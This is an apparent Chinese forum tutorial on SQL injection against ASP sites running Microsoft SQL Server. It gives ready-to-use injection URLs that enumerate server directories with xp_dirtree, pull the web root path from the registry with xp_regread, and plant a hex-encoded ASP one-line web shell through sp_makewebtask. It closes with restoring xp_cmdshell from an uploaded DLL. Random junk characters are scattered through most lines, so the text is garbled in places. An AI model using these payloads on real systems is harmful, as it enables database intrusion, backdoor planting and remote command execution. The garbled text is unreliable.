好,我们exec master..xp_dirtree'd:/test'
3 Z1 j5 Z2 k, A. D假设我们在test里有两个文件夹test1和test2在test1里又有test3
7 E2 ^* t1 J2 @# O0 d$ g, m8 ?( T结果显示0 m+ w8 o2 w( p. N/ x9 y# X
, _4 B: Q! L7 K/ u: Asubdirectory depth
8 K) i. D- \) F g: b$ Utest1 17 t. ~2 \8 z* v
test3 2) X' z2 s! t0 f- v8 Z# S
test2 1
8 I4 o5 D$ t2 f$ }3 I) `
* U' G: g, K, `5 q% e哈哈发现没有那个depth就是目录的级数7 K4 a" h6 Q) N! _1 V# \
ok了,知道怎么办了吧* A% w3 n1 Z# y5 t6 F3 x
. H1 v( r1 c% E8 m! h' {4 Yhttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- ( l# f9 ~& J5 K7 k2 Q" O
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- ]* x9 D" b) O5 f
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-, M7 |2 ], { e8 _
) p5 k ]5 G/ n; u只要加上id=1,就是第一级目录 。
4 I* v2 P) c' b' Z1 B' P6 w2 F; n! s3 @( U! U$ M0 ]
) ~ Z/ c3 @6 k( s通过注册表读网站路径:
) z6 T, }# z# \ f8 J
& p3 c; q& G. h' d1.;create table [dbo].[cyfd] ([gyfd][char](255));# l6 _* s. i1 k3 q) `2 h% z" @1 E
- C8 a' \8 D% D9 d d
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
! E4 A( D5 y+ p, ]id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
( w; w' O) u7 ?( { n
0 l1 |2 @) P Q: X: m3.and 1=(select count(*) from 临时表 where 临时字段名>1)
/ u, g' `2 _1 p1 L' k, S2 nand 1=(select count(*) from cyfd where gyfd > 1)
8 t# h' E+ M5 z% c这样IE报错,就把刚才插进去的Web路径的值报出来了
3 r4 H$ b6 K) v; G$ } r
! ?5 R1 U2 i" z" `4.drop table cyfd;-- 删除临时表* c: c' ~. X+ T% e# k$ @, s: z/ q
# V+ Y% N( p$ v6 }3 V$ {" F6 J2 }
获得webshell方法:/ H* `& R1 h" }" ?0 ^$ Y: }9 g
1.create table cmd (a image)-- \**cmd是创建的临时表
5 t, Q3 v1 B/ z# K# q6 X: k0 N- I# S% q; b: J8 b
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话7 Y! t+ ~# T; h
/ l1 g. E* J# `* ?0 w" X; v' ^) U
/ C: L2 B1 E4 R( z. G" _$ d
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'- ~/ }; O% I8 U
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'6 P/ @2 ^) X0 n8 L# X! N
- N; W$ l6 C a! Y
4.drop table cmd;-- 删除cmd临时表1 j" `& ~" ?6 i
: C7 J7 ?) A' ?/ o' |
恢复xp_cmdshell方法之一:7 S1 s: E8 g* A [4 v
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:/ G# X! o$ o; o; b/ a
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
" q! I) [% E9 R. C$ L恢复,支持绝对路径的恢复哦。:)
( B& i. y5 t/ P, V% j5 K |